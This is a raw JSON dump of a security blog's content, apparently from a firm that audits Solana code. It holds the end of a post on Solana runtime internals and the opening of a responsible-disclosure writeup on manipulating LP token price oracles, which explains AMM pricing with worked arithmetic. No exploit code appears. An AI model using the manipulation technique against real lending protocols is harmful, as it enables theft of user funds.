R.`.W79.KX.P....\n0030:   35 b8 9c c7  d1 cb 1d 32  b5 de 04 ef  a0 68 c9 39   5......2.....h.9\n0040:   40 0d 03 00  00 00 00 00  00 00 00 00  00 00 00 00   @...............\n0050:   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00   ................\n0060:   00 00 00 00  00 00 00 00  00 00 00 00  01 00 00 00   ................\n0070:   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00   ................\n0080:   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00   ................\n0090:   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00   ................\n00a0:   00 00 00 00  00\n",[167717],{"type":26,"tag":83,"props":167718,"children":167719},{"__ignoreMap":8},[167720],{"type":32,"value":167715},{"type":26,"tag":39,"props":167722,"children":167723},{},[167724,167726,167733],{"type":32,"value":167725},"This is an example of a ",{"type":26,"tag":163,"props":167727,"children":167730},{"href":167728,"rel":167729},"https://docs.solana.com/developing/programming-model/calling-between-programs#program-derived-addresses",[167],[167731],{"type":32,"value":167732},"program derived addresses",{"type":32,"value":180},{"type":26,"tag":39,"props":167735,"children":167736},{},[167737],{"type":32,"value":167738},"An astute reader might also notice that the original pubkey is embedded in the token account data starting at position 0x20. Intuitively the token account must store it's owner somewhere, and this is often done by storing the owner pubkey in the account data.",{"type":26,"tag":27,"props":167740,"children":167741},{"id":137231},[167742],{"type":32,"value":137234},{"type":26,"tag":39,"props":167744,"children":167745},{},[167746,167748,167754],{"type":32,"value":167747},"There are many intricacies to Solana's programming model which we will perhaps explore in future blog posts. For example, how do user accounts created with ",{"type":26,"tag":83,"props":167749,"children":167751},{"className":167750},[],[167752],{"type":32,"value":167753},"solana-keygen",{"type":32,"value":167755}," work? What exactly is the account validation scheme?",{"type":26,"tag":39,"props":167757,"children":167758},{},[167759],{"type":32,"value":167760},"While it may be tempting to treat Solana as a blackbox, the code itself is all open source. We believe a crucial part of security is building a deep understanding of the underlying system. This requires digging into the Solana runtime. We hope this and future posts present an interesting perspective on the Solana runtime.",{"type":26,"tag":39,"props":167762,"children":167763},{},[167764],{"type":32,"value":167765},"Please reach out if you found this useful or have any additional thoughts to share.",{"type":26,"tag":9282,"props":167767,"children":167768},{},[167769],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":167771},[167772,167773,167774],{"id":165033,"depth":6770,"text":165036},{"id":166180,"depth":6770,"text":166183},{"id":137231,"depth":6770,"text":137234},"content:blog:2022-03-14-solana-security-intro.md","blog/2022-03-14-solana-security-intro.md","blog/2022-03-14-solana-security-intro",{"_path":167779,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":167780,"description":167781,"image":167782,"date":167786,"isFeatured":7,"tags":167787,"onBlogPage":17,"body":167788,"_type":6799,"_id":171793,"_source":6801,"_file":171794,"_stem":171795,"_extension":6804},"/blog/2022-02-16-lp-token-oracle-manipulation","The $200m Bluff: Cheating Oracles on Solana","How we fooled oracles to beat the house. An exploration into liquidity tokens and oracle price manipulation.",{"src":167783,"height":167784,"width":167785},"/posts/leaky-liq/title.jpg",350,628,"2022-02-16",[90642],{"type":23,"children":167789,"toc":171780},[167790,167795,167800,167911,167925,167929,167934,167940,167945,167950,167963,167971,167976,167982,167987,167998,168003,168323,168328,168511,168516,168521,168526,168664,168669,168674,168978,168983,169166,169171,169179,169184,169190,169195,169200,169214,169219,169360,169371,169375,169380,169385,169390,169395,169509,169514,169520,169525,169530,169563,169568,169573,169578,169584,169589,169594,169624,169629,169634,169638,169652,169657,169662,171599,171604,171608,171613,171627,171632,171776],{"type":26,"tag":39,"props":167791,"children":167792},{},[167793],{"type":32,"value":167794},"We discovered a vulnerability in Switchboard's liquidity pool token price feeds which could hypothetically allow an attacker to manipulate the price of liquidity pool tokens and possibly steal lending protocol funds. This was reported to all affected lending protocols.",{"type":26,"tag":39,"props":167796,"children":167797},{},[167798],{"type":32,"value":167799},"At the time of reporting, the following protocols were identified at risk:",{"type":26,"tag":22343,"props":167801,"children":167802},{},[167803,167818],{"type":26,"tag":22347,"props":167804,"children":167805},{},[167806],{"type":26,"tag":22351,"props":167807,"children":167808},{},[167809,167814],{"type":26,"tag":22355,"props":167810,"children":167811},{},[167812],{"type":32,"value":167813},"Protocol",{"type":26,"tag":22355,"props":167815,"children":167816},{},[167817],{"type":32,"value":90051},{"type":26,"tag":22366,"props":167819,"children":167820},{},[167821,167839,167857,167875,167893],{"type":26,"tag":22351,"props":167822,"children":167823},{},[167824,167834],{"type":26,"tag":22373,"props":167825,"children":167826},{},[167827],{"type":26,"tag":163,"props":167828,"children":167831},{"href":167829,"rel":167830},"https://apricot.one/",[167],[167832],{"type":32,"value":167833},"Apricot",{"type":26,"tag":22373,"props":167835,"children":167836},{},[167837],{"type":32,"value":167838},"$200m",{"type":26,"tag":22351,"props":167840,"children":167841},{},[167842,167852],{"type":26,"tag":22373,"props":167843,"children":167844},{},[167845],{"type":26,"tag":163,"props":167846,"children":167849},{"href":167847,"rel":167848},"https://projectlarix.com/",[167],[167850],{"type":32,"value":167851},"Larix",{"type":26,"tag":22373,"props":167853,"children":167854},{},[167855],{"type":32,"value":167856},"$150m",{"type":26,"tag":22351,"props":167858,"children":167859},{},[167860,167870],{"type":26,"tag":22373,"props":167861,"children":167862},{},[167863],{"type":26,"tag":163,"props":167864,"children":167867},{"href":167865,"rel":167866},"https://port.finance/",[167],[167868],{"type":32,"value":167869},"Port",{"type":26,"tag":22373,"props":167871,"children":167872},{},[167873],{"type":32,"value":167874},"$100m",{"type":26,"tag":22351,"props":167876,"children":167877},{},[167878,167888],{"type":26,"tag":22373,"props":167879,"children":167880},{},[167881],{"type":26,"tag":163,"props":167882,"children":167885},{"href":167883,"rel":167884},"https://tulip.garden",[167],[167886],{"type":32,"value":167887},"Tulip",{"type":26,"tag":22373,"props":167889,"children":167890},{},[167891],{"type":32,"value":167892},"$120m",{"type":26,"tag":22351,"props":167894,"children":167895},{},[167896,167906],{"type":26,"tag":22373,"props":167897,"children":167898},{},[167899],{"type":26,"tag":163,"props":167900,"children":167903},{"href":167901,"rel":167902},"https://parrot.fi/",[167],[167904],{"type":32,"value":167905},"Parrot.fi",{"type":26,"tag":22373,"props":167907,"children":167908},{},[167909],{"type":32,"value":167910},"$2m",{"type":26,"tag":39,"props":167912,"children":167913},{},[167914,167916,167923],{"type":32,"value":167915},"We would also like to thank ",{"type":26,"tag":163,"props":167917,"children":167920},{"href":167918,"rel":167919},"https://twitter.com/nojob_capital",[167],[167921],{"type":32,"value":167922},"nojob",{"type":32,"value":167924}," for his contributions with the fair pricing of liquidity pool tokens.",{"type":26,"tag":27,"props":167926,"children":167927},{"id":162280},[167928],{"type":32,"value":162283},{"type":26,"tag":39,"props":167930,"children":167931},{},[167932],{"type":32,"value":167933},"We'll first cover some relevant background concepts.",{"type":26,"tag":607,"props":167935,"children":167937},{"id":167936},"amms",[167938],{"type":32,"value":167939},"AMMs",{"type":26,"tag":39,"props":167941,"children":167942},{},[167943],{"type":32,"value":167944},"AMMs or automated market makers on Solana are an onchain program allowing users to swap between two tokens, for example, SOL and USDC. This process is automated, and the program helps \"make the market\" by always allowing token swaps, hence the name automated market maker.",{"type":26,"tag":39,"props":167946,"children":167947},{},[167948],{"type":32,"value":167949},"AMMs have their own token accounts which they use in the token swap. The price, or amount of one token you can get for another, is solely defined by the token account amounts.",{"type":26,"tag":39,"props":167951,"children":167952},{},[167953,167955,167962],{"type":32,"value":167954},"This relationship can be modeled as a curve, where swapping tokens moves the price along the curve. For example, see this graph from the ",{"type":26,"tag":163,"props":167956,"children":167959},{"href":167957,"rel":167958},"https://curve.fi/files/stableswap-paper.pdf",[167],[167960],{"type":32,"value":167961},"Stable Swap whitepaper",{"type":32,"value":180},{"type":26,"tag":39,"props":167964,"children":167965},{},[167966],{"type":26,"tag":6468,"props":167967,"children":167970},{"alt":167968,"src":167969},"Swap graphs","/posts/leaky-liq/swaps.png",[],{"type":26,"tag":39,"props":167972,"children":167973},{},[167974],{"type":32,"value":167975},"In this post, we'll by using constant product AMMs as our examples, but this vulnerability would apply to any AMM type.",{"type":26,"tag":607,"props":167977,"children":167979},{"id":167978},"liquidity-pool-tokens",[167980],{"type":32,"value":167981},"Liquidity Pool Tokens",{"type":26,"tag":39,"props":167983,"children":167984},{},[167985],{"type":32,"value":167986},"In order to function, AMMs need to maintain pools of the two respective assets. Users can deposit these assets into the AMM, a process known as providing liquidity, in exchange for rewards. In exchange for providing liquidity to an AMM, users are given liquidity pool tokens. These liquidity pool tokens can then later be redeemed for the original deposited assets.",{"type":26,"tag":39,"props":167988,"children":167989},{},[167990,167992,167997],{"type":32,"value":167991},"An important thing to note is that the price of a liquidity pool token ",{"type":26,"tag":9348,"props":167993,"children":167994},{},[167995],{"type":32,"value":167996},"is not constant",{"type":32,"value":180},{"type":26,"tag":39,"props":167999,"children":168000},{},[168001],{"type":32,"value":168002},"Consider the following scenario. Our SOL-USDC constant product AMM has 1500 USDC and 10 SOL deposited, with 10 LP tokens minted. This means each LP token can be redeemed for 150 USDC and 1 SOL.",{"type":26,"tag":39,"props":168004,"children":168005},{},[168006],{"type":26,"tag":83,"props":168007,"children":168009},{"className":168008},[213,4703],[168010],{"type":26,"tag":217,"props":168011,"children":168013},{"className":168012},[225],[168014],{"type":26,"tag":217,"props":168015,"children":168017},{"className":168016,"ariaHidden":231},[230],[168018,168148,168170,168175,168301],{"type":26,"tag":217,"props":168019,"children":168021},{"className":168020},[236],[168022,168027,168135,168139,168144],{"type":26,"tag":217,"props":168023,"children":168026},{"className":168024,"style":168025},[241],"height:1.2173em;vertical-align:-0.345em;",[],{"type":26,"tag":217,"props":168028,"children":168030},{"className":168029},[247],[168031,168035,168131],{"type":26,"tag":217,"props":168032,"children":168034},{"className":168033},[288,289],[],{"type":26,"tag":217,"props":168036,"children":168038},{"className":168037},[294],[168039],{"type":26,"tag":217,"props":168040,"children":168042},{"className":168041},[299,300],[168043,168119],{"type":26,"tag":217,"props":168044,"children":168046},{"className":168045},[305],[168047,168114],{"type":26,"tag":217,"props":168048,"children":168051},{"className":168049,"style":168050},[310],"height:0.8723em;",[168052,168072,168083],{"type":26,"tag":217,"props":168053,"children":168054},{"style":5060},[168055,168059],{"type":26,"tag":217,"props":168056,"children":168058},{"className":168057,"style":321},[320],[],{"type":26,"tag":217,"props":168060,"children":168062},{"className":168061},[2187,2188,2189,2190],[168063],{"type":26,"tag":217,"props":168064,"children":168066},{"className":168065},[247,2190],[168067],{"type":26,"tag":217,"props":168068,"children":168070},{"className":168069},[247,2190],[168071],{"type":32,"value":18670},{"type":26,"tag":217,"props":168073,"children":168074},{"style":361},[168075,168079],{"type":26,"tag":217,"props":168076,"children":168078},{"className":168077,"style":321},[320],[],{"type":26,"tag":217,"props":168080,"children":168082},{"className":168081,"style":371},[370],[],{"type":26,"tag":217,"props":168084,"children":168085},{"style":48501},[168086,168090],{"type":26,"tag":217,"props":168087,"children":168089},{"className":168088,"style":321},[320],[],{"type":26,"tag":217,"props":168091,"children":168093},{"className":168092},[2187,2188,2189,2190],[168094],{"type":26,"tag":217,"props":168095,"children":168097},{"className":168096},[247,2190],[168098,168104],{"type":26,"tag":217,"props":168099,"children":168101},{"className":168100},[247,2190],[168102],{"type":32,"value":168103},"1500",{"type":26,"tag":217,"props":168105,"children":168107},{"className":168106},[247,32,2190],[168108],{"type":26,"tag":217,"props":168109,"children":168111},{"className":168110},[247,2190],[168112],{"type":32,"value":168113}," USDC",{"type":26,"tag":217,"props":168115,"children":168117},{"className":168116},[409],[168118],{"type":32,"value":412},{"type":26,"tag":217,"props":168120,"children":168122},{"className":168121},[305],[168123],{"type":26,"tag":217,"props":168124,"children":168127},{"className":168125,"style":168126},[310],"height:0.345em;",[168128],{"type":26,"tag":217,"props":168129,"children":168130},{},[],{"type":26,"tag":217,"props":168132,"children":168134},{"className":168133},[428,289],[],{"type":26,"tag":217,"props":168136,"children":168138},{"className":168137,"style":259},[258],[],{"type":26,"tag":217,"props":168140,"children":168142},{"className":168141},[264],[168143],{"type":32,"value":267},{"type":26,"tag":217,"props":168145,"children":168147},{"className":168146,"style":259},[258],[],{"type":26,"tag":217,"props":168149,"children":168151},{"className":168150},[236],[168152,168156,168161],{"type":26,"tag":217,"props":168153,"children":168155},{"className":168154,"style":4800},[241],[],{"type":26,"tag":217,"props":168157,"children":168159},{"className":168158},[247],[168160],{"type":32,"value":163811},{"type":26,"tag":217,"props":168162,"children":168164},{"className":168163},[247,32],[168165],{"type":26,"tag":217,"props":168166,"children":168168},{"className":168167},[247],[168169],{"type":32,"value":168113},{"type":26,"tag":217,"props":168171,"children":168174},{"className":168172},[258,168173],"newline",[],{"type":26,"tag":217,"props":168176,"children":168178},{"className":168177},[236],[168179,168183,168288,168292,168297],{"type":26,"tag":217,"props":168180,"children":168182},{"className":168181,"style":168025},[241],[],{"type":26,"tag":217,"props":168184,"children":168186},{"className":168185},[247],[168187,168191,168284],{"type":26,"tag":217,"props":168188,"children":168190},{"className":168189},[288,289],[],{"type":26,"tag":217,"props":168192,"children":168194},{"className":168193},[294],[168195],{"type":26,"tag":217,"props":168196,"children":168198},{"className":168197},[299,300],[168199,168273],{"type":26,"tag":217,"props":168200,"children":168202},{"className":168201},[305],[168203,168268],{"type":26,"tag":217,"props":168204,"children":168206},{"className":168205,"style":168050},[310],[168207,168227,168238],{"type":26,"tag":217,"props":168208,"children":168209},{"style":5060},[168210,168214],{"type":26,"tag":217,"props":168211,"children":168213},{"className":168212,"style":321},[320],[],{"type":26,"tag":217,"props":168215,"children":168217},{"className":168216},[2187,2188,2189,2190],[168218],{"type":26,"tag":217,"props":168219,"children":168221},{"className":168220},[247,2190],[168222],{"type":26,"tag":217,"props":168223,"children":168225},{"className":168224},[247,2190],[168226],{"type":32,"value":18670},{"type":26,"tag":217,"props":168228,"children":168229},{"style":361},[168230,168234],{"type":26,"tag":217,"props":168231,"children":168233},{"className":168232,"style":321},[320],[],{"type":26,"tag":217,"props":168235,"children":168237},{"className":168236,"style":371},[370],[],{"type":26,"tag":217,"props":168239,"children":168240},{"style":48501},[168241,168245],{"type":26,"tag":217,"props":168242,"children":168244},{"className":168243,"style":321},[320],[],{"type":26,"tag":217,"props":168246,"children":168248},{"className":168247},[2187,2188,2189,2190],[168249],{"type":26,"tag":217,"props":168250,"children":168252},{"className":168251},[247,2190],[168253,168258],{"type":26,"tag":217,"props":168254,"children":168256},{"className":168255},[247,2190],[168257],{"type":32,"value":18670},{"type":26,"tag":217,"props":168259,"children":168261},{"className":168260},[247,32,2190],[168262],{"type":26,"tag":217,"props":168263,"children":168265},{"className":168264},[247,2190],[168266],{"type":32,"value":168267}," SOL",{"type":26,"tag":217,"props":168269,"children":168271},{"className":168270},[409],[168272],{"type":32,"value":412},{"type":26,"tag":217,"props":168274,"children":168276},{"className":168275},[305],[168277],{"type":26,"tag":217,"props":168278,"children":168280},{"className":168279,"style":168126},[310],[168281],{"type":26,"tag":217,"props":168282,"children":168283},{},[],{"type":26,"tag":217,"props":168285,"children":168287},{"className":168286},[428,289],[],{"type":26,"tag":217,"props":168289,"children":168291},{"className":168290,"style":259},[258],[],{"type":26,"tag":217,"props":168293,"children":168295},{"className":168294},[264],[168296],{"type":32,"value":267},{"type":26,"tag":217,"props":168298,"children":168300},{"className":168299,"style":259},[258],[],{"type":26,"tag":217,"props":168302,"children":168304},{"className":168303},[236],[168305,168309,168314],{"type":26,"tag":217,"props":168306,"children":168308},{"className":168307,"style":4800},[241],[],{"type":26,"tag":217,"props":168310,"children":168312},{"className":168311},[247],[168313],{"type":32,"value":185},{"type":26,"tag":217,"props":168315,"children":168317},{"className":168316},[247,32],[168318],{"type":26,"tag":217,"props":168319,"children":168321},{"className":168320},[247],[168322],{"type":32,"value":168267},{"type":26,"tag":39,"props":168324,"children":168325},{},[168326],{"type":32,"value":168327},"Assuming the price of SOL is $150, the oracle would then calculate that each LP token can be redeemed for",{"type":26,"tag":207,"props":168329,"children":168330},{},[168331],{"type":26,"tag":83,"props":168332,"children":168334},{"className":168333},[213,214],[168335],{"type":26,"tag":217,"props":168336,"children":168338},{"className":168337},[220],[168339],{"type":26,"tag":217,"props":168340,"children":168342},{"className":168341},[225],[168343],{"type":26,"tag":217,"props":168344,"children":168346},{"className":168345,"ariaHidden":231},[230],[168347,168382,168417,168453,168488],{"type":26,"tag":217,"props":168348,"children":168350},{"className":168349},[236],[168351,168355,168360,168369,168373,168378],{"type":26,"tag":217,"props":168352,"children":168354},{"className":168353,"style":50030},[241],[],{"type":26,"tag":217,"props":168356,"children":168358},{"className":168357},[247],[168359],{"type":32,"value":163811},{"type":26,"tag":217,"props":168361,"children":168363},{"className":168362},[247,32],[168364],{"type":26,"tag":217,"props":168365,"children":168367},{"className":168366},[247],[168368],{"type":32,"value":168113},{"type":26,"tag":217,"props":168370,"children":168372},{"className":168371,"style":336},[258],[],{"type":26,"tag":217,"props":168374,"children":168376},{"className":168375},[341],[168377],{"type":32,"value":3540},{"type":26,"tag":217,"props":168379,"children":168381},{"className":168380,"style":336},[258],[],{"type":26,"tag":217,"props":168383,"children":168385},{"className":168384},[236],[168386,168390,168395,168404,168408,168413],{"type":26,"tag":217,"props":168387,"children":168389},{"className":168388,"style":4800},[241],[],{"type":26,"tag":217,"props":168391,"children":168393},{"className":168392},[247],[168394],{"type":32,"value":185},{"type":26,"tag":217,"props":168396,"children":168398},{"className":168397},[247,32],[168399],{"type":26,"tag":217,"props":168400,"children":168402},{"className":168401},[247],[168403],{"type":32,"value":168267},{"type":26,"tag":217,"props":168405,"children":168407},{"className":168406,"style":259},[258],[],{"type":26,"tag":217,"props":168409,"children":168411},{"className":168410},[264],[168412],{"type":32,"value":267},{"type":26,"tag":217,"props":168414,"children":168416},{"className":168415,"style":259},[258],[],{"type":26,"tag":217,"props":168418,"children":168420},{"className":168419},[236],[168421,168426,168435,168440,168444,168449],{"type":26,"tag":217,"props":168422,"children":168425},{"className":168423,"style":168424},[241],"height:0.8333em;vertical-align:-0.0833em;",[],{"type":26,"tag":217,"props":168427,"children":168429},{"className":168428},[247,32],[168430],{"type":26,"tag":217,"props":168431,"children":168433},{"className":168432},[247],[168434],{"type":32,"value":118045},{"type":26,"tag":217,"props":168436,"children":168438},{"className":168437},[247],[168439],{"type":32,"value":163811},{"type":26,"tag":217,"props":168441,"children":168443},{"className":168442,"style":336},[258],[],{"type":26,"tag":217,"props":168445,"children":168447},{"className":168446},[341],[168448],{"type":32,"value":3540},{"type":26,"tag":217,"props":168450,"children":168452},{"className":168451,"style":336},[258],[],{"type":26,"tag":217,"props":168454,"children":168456},{"className":168455},[236],[168457,168461,168470,168475,168479,168484],{"type":26,"tag":217,"props":168458,"children":168460},{"className":168459,"style":163842},[241],[],{"type":26,"tag":217,"props":168462,"children":168464},{"className":168463},[247,32],[168465],{"type":26,"tag":217,"props":168466,"children":168468},{"className":168467},[247],[168469],{"type":32,"value":118045},{"type":26,"tag":217,"props":168471,"children":168473},{"className":168472},[247],[168474],{"type":32,"value":163811},{"type":26,"tag":217,"props":168476,"children":168478},{"className":168477,"style":259},[258],[],{"type":26,"tag":217,"props":168480,"children":168482},{"className":168481},[264],[168483],{"type":32,"value":267},{"type":26,"tag":217,"props":168485,"children":168487},{"className":168486,"style":259},[258],[],{"type":26,"tag":217,"props":168489,"children":168491},{"className":168490},[236],[168492,168496,168505],{"type":26,"tag":217,"props":168493,"children":168495},{"className":168494,"style":163842},[241],[],{"type":26,"tag":217,"props":168497,"children":168499},{"className":168498},[247,32],[168500],{"type":26,"tag":217,"props":168501,"children":168503},{"className":168502},[247],[168504],{"type":32,"value":118045},{"type":26,"tag":217,"props":168506,"children":168508},{"className":168507},[247],[168509],{"type":32,"value":168510},"300",{"type":26,"tag":39,"props":168512,"children":168513},{},[168514],{"type":32,"value":168515},"For a constant product AMM, a normal swap of 1 SOL for USDC would then return approximately 150 USDC.",{"type":26,"tag":39,"props":168517,"children":168518},{},[168519],{"type":32,"value":168520},"However, if someone swaps in 1500 USDC worth of SOL, the AMM will have 3000 USDC and 5 SOL, because they drove up the price of SOL in this pool.",{"type":26,"tag":39,"props":168522,"children":168523},{},[168524],{"type":32,"value":168525},"It's easy to confirm that this maintains the constant product invariant.",{"type":26,"tag":207,"props":168527,"children":168528},{},[168529],{"type":26,"tag":83,"props":168530,"children":168532},{"className":168531},[213,214],[168533],{"type":26,"tag":217,"props":168534,"children":168536},{"className":168535},[220],[168537],{"type":26,"tag":217,"props":168538,"children":168540},{"className":168539},[225],[168541],{"type":26,"tag":217,"props":168542,"children":168544},{"className":168543,"ariaHidden":231},[230],[168545,168572,168598,168625,168651],{"type":26,"tag":217,"props":168546,"children":168548},{"className":168547},[236],[168549,168553,168559,168563,168568],{"type":26,"tag":217,"props":168550,"children":168552},{"className":168551,"style":5294},[241],[],{"type":26,"tag":217,"props":168554,"children":168556},{"className":168555},[247],[168557],{"type":32,"value":168558},"3000",{"type":26,"tag":217,"props":168560,"children":168562},{"className":168561,"style":336},[258],[],{"type":26,"tag":217,"props":168564,"children":168566},{"className":168565},[341],[168567],{"type":32,"value":70552},{"type":26,"tag":217,"props":168569,"children":168571},{"className":168570,"style":336},[258],[],{"type":26,"tag":217,"props":168573,"children":168575},{"className":168574},[236],[168576,168580,168585,168589,168594],{"type":26,"tag":217,"props":168577,"children":168579},{"className":168578,"style":5294},[241],[],{"type":26,"tag":217,"props":168581,"children":168583},{"className":168582},[247],[168584],{"type":32,"value":25499},{"type":26,"tag":217,"props":168586,"children":168588},{"className":168587,"style":259},[258],[],{"type":26,"tag":217,"props":168590,"children":168592},{"className":168591},[264],[168593],{"type":32,"value":267},{"type":26,"tag":217,"props":168595,"children":168597},{"className":168596,"style":259},[258],[],{"type":26,"tag":217,"props":168599,"children":168601},{"className":168600},[236],[168602,168606,168612,168616,168621],{"type":26,"tag":217,"props":168603,"children":168605},{"className":168604,"style":5294},[241],[],{"type":26,"tag":217,"props":168607,"children":168609},{"className":168608},[247],[168610],{"type":32,"value":168611},"15000",{"type":26,"tag":217,"props":168613,"children":168615},{"className":168614,"style":259},[258],[],{"type":26,"tag":217,"props":168617,"children":168619},{"className":168618},[264],[168620],{"type":32,"value":267},{"type":26,"tag":217,"props":168622,"children":168624},{"className":168623,"style":259},[258],[],{"type":26,"tag":217,"props":168626,"children":168628},{"className":168627},[236],[168629,168633,168638,168642,168647],{"type":26,"tag":217,"props":168630,"children":168632},{"className":168631,"style":5294},[241],[],{"type":26,"tag":217,"props":168634,"children":168636},{"className":168635},[247],[168637],{"type":32,"value":168103},{"type":26,"tag":217,"props":168639,"children":168641},{"className":168640,"style":336},[258],[],{"type":26,"tag":217,"props":168643,"children":168645},{"className":168644},[341],[168646],{"type":32,"value":70552},{"type":26,"tag":217,"props":168648,"children":168650},{"className":168649,"style":336},[258],[],{"type":26,"tag":217,"props":168652,"children":168654},{"className":168653},[236],[168655,168659],{"type":26,"tag":217,"props":168656,"children":168658},{"className":168657,"style":5294},[241],[],{"type":26,"tag":217,"props":168660,"children":168662},{"className":168661},[247],[168663],{"type":32,"value":18670},{"type":26,"tag":39,"props":168665,"children":168666},{},[168667],{"type":32,"value":168668},"Let's calculate the value of a single LP token now. For simplicity, let's assume that the AMM doesn't take any fees.",{"type":26,"tag":39,"props":168670,"children":168671},{},[168672],{"type":32,"value":168673},"Similar to the math previously, each LP token can now be redeemed for",{"type":26,"tag":207,"props":168675,"children":168676},{},[168677],{"type":26,"tag":83,"props":168678,"children":168680},{"className":168679},[213,214],[168681],{"type":26,"tag":217,"props":168682,"children":168684},{"className":168683},[220],[168685],{"type":26,"tag":217,"props":168686,"children":168688},{"className":168687},[225],[168689],{"type":26,"tag":217,"props":168690,"children":168692},{"className":168691,"ariaHidden":231},[230],[168693,168812,168834,168838,168955],{"type":26,"tag":217,"props":168694,"children":168696},{"className":168695},[236],[168697,168702,168799,168803,168808],{"type":26,"tag":217,"props":168698,"children":168701},{"className":168699,"style":168700},[241],"height:2.0463em;vertical-align:-0.686em;",[],{"type":26,"tag":217,"props":168703,"children":168705},{"className":168704},[247],[168706,168710,168795],{"type":26,"tag":217,"props":168707,"children":168709},{"className":168708},[288,289],[],{"type":26,"tag":217,"props":168711,"children":168713},{"className":168712},[294],[168714],{"type":26,"tag":217,"props":168715,"children":168717},{"className":168716},[299,300],[168718,168784],{"type":26,"tag":217,"props":168719,"children":168721},{"className":168720},[305],[168722,168779],{"type":26,"tag":217,"props":168723,"children":168726},{"className":168724,"style":168725},[310],"height:1.3603em;",[168727,168743,168754],{"type":26,"tag":217,"props":168728,"children":168729},{"style":315},[168730,168734],{"type":26,"tag":217,"props":168731,"children":168733},{"className":168732,"style":321},[320],[],{"type":26,"tag":217,"props":168735,"children":168737},{"className":168736},[247],[168738],{"type":26,"tag":217,"props":168739,"children":168741},{"className":168740},[247],[168742],{"type":32,"value":18670},{"type":26,"tag":217,"props":168744,"children":168745},{"style":361},[168746,168750],{"type":26,"tag":217,"props":168747,"children":168749},{"className":168748,"style":321},[320],[],{"type":26,"tag":217,"props":168751,"children":168753},{"className":168752,"style":371},[370],[],{"type":26,"tag":217,"props":168755,"children":168756},{"style":375},[168757,168761],{"type":26,"tag":217,"props":168758,"children":168760},{"className":168759,"style":321},[320],[],{"type":26,"tag":217,"props":168762,"children":168764},{"className":168763},[247],[168765,168770],{"type":26,"tag":217,"props":168766,"children":168768},{"className":168767},[247],[168769],{"type":32,"value":168558},{"type":26,"tag":217,"props":168771,"children":168773},{"className":168772},[247,32],[168774],{"type":26,"tag":217,"props":168775,"children":168777},{"className":168776},[247],[168778],{"type":32,"value":168113},{"type":26,"tag":217,"props":168780,"children":168782},{"className":168781},[409],[168783],{"type":32,"value":412},{"type":26,"tag":217,"props":168785,"children":168787},{"className":168786},[305],[168788],{"type":26,"tag":217,"props":168789,"children":168791},{"className":168790,"style":1652},[310],[168792],{"type":26,"tag":217,"props":168793,"children":168794},{},[],{"type":26,"tag":217,"props":168796,"children":168798},{"className":168797},[428,289],[],{"type":26,"tag":217,"props":168800,"children":168802},{"className":168801,"style":259},[258],[],{"type":26,"tag":217,"props":168804,"children":168806},{"className":168805},[264],[168807],{"type":32,"value":267},{"type":26,"tag":217,"props":168809,"children":168811},{"className":168810,"style":259},[258],[],{"type":26,"tag":217,"props":168813,"children":168815},{"className":168814},[236],[168816,168820,168825],{"type":26,"tag":217,"props":168817,"children":168819},{"className":168818,"style":4800},[241],[],{"type":26,"tag":217,"props":168821,"children":168823},{"className":168822},[247],[168824],{"type":32,"value":168510},{"type":26,"tag":217,"props":168826,"children":168828},{"className":168827},[247,32],[168829],{"type":26,"tag":217,"props":168830,"children":168832},{"className":168831},[247],[168833],{"type":32,"value":168113},{"type":26,"tag":217,"props":168835,"children":168837},{"className":168836},[258,168173],[],{"type":26,"tag":217,"props":168839,"children":168841},{"className":168840},[236],[168842,168846,168942,168946,168951],{"type":26,"tag":217,"props":168843,"children":168845},{"className":168844,"style":168700},[241],[],{"type":26,"tag":217,"props":168847,"children":168849},{"className":168848},[247],[168850,168854,168938],{"type":26,"tag":217,"props":168851,"children":168853},{"className":168852},[288,289],[],{"type":26,"tag":217,"props":168855,"children":168857},{"className":168856},[294],[168858],{"type":26,"tag":217,"props":168859,"children":168861},{"className":168860},[299,300],[168862,168927],{"type":26,"tag":217,"props":168863,"children":168865},{"className":168864},[305],[168866,168922],{"type":26,"tag":217,"props":168867,"children":168869},{"className":168868,"style":168725},[310],[168870,168886,168897],{"type":26,"tag":217,"props":168871,"children":168872},{"style":315},[168873,168877],{"type":26,"tag":217,"props":168874,"children":168876},{"className":168875,"style":321},[320],[],{"type":26,"tag":217,"props":168878,"children":168880},{"className":168879},[247],[168881],{"type":26,"tag":217,"props":168882,"children":168884},{"className":168883},[247],[168885],{"type":32,"value":18670},{"type":26,"tag":217,"props":168887,"children":168888},{"style":361},[168889,168893],{"type":26,"tag":217,"props":168890,"children":168892},{"className":168891,"style":321},[320],[],{"type":26,"tag":217,"props":168894,"children":168896},{"className":168895,"style":371},[370],[],{"type":26,"tag":217,"props":168898,"children":168899},{"style":375},[168900,168904],{"type":26,"tag":217,"props":168901,"children":168903},{"className":168902,"style":321},[320],[],{"type":26,"tag":217,"props":168905,"children":168907},{"className":168906},[247],[168908,168913],{"type":26,"tag":217,"props":168909,"children":168911},{"className":168910},[247],[168912],{"type":32,"value":25499},{"type":26,"tag":217,"props":168914,"children":168916},{"className":168915},[247,32],[168917],{"type":26,"tag":217,"props":168918,"children":168920},{"className":168919},[247],[168921],{"type":32,"value":168267},{"type":26,"tag":217,"props":168923,"children":168925},{"className":168924},[409],[168926],{"type":32,"value":412},{"type":26,"tag":217,"props":168928,"children":168930},{"className":168929},[305],[168931],{"type":26,"tag":217,"props":168932,"children":168934},{"className":168933,"style":1652},[310],[168935],{"type":26,"tag":217,"props":168936,"children":168937},{},[],{"type":26,"tag":217,"props":168939,"children":168941},{"className":168940},[428,289],[],{"type":26,"tag":217,"props":168943,"children":168945},{"className":168944,"style":259},[258],[],{"type":26,"tag":217,"props":168947,"children":168949},{"className":168948},[264],[168950],{"type":32,"value":267},{"type":26,"tag":217,"props":168952,"children":168954},{"className":168953,"style":259},[258],[],{"type":26,"tag":217,"props":168956,"children":168958},{"className":168957},[236],[168959,168963,168969],{"type":26,"tag":217,"props":168960,"children":168962},{"className":168961,"style":4800},[241],[],{"type":26,"tag":217,"props":168964,"children":168966},{"className":168965},[247],[168967],{"type":32,"value":168968},"0.5",{"type":26,"tag":217,"props":168970,"children":168972},{"className":168971},[247,32],[168973],{"type":26,"tag":217,"props":168974,"children":168976},{"className":168975},[247],[168977],{"type":32,"value":168267},{"type":26,"tag":39,"props":168979,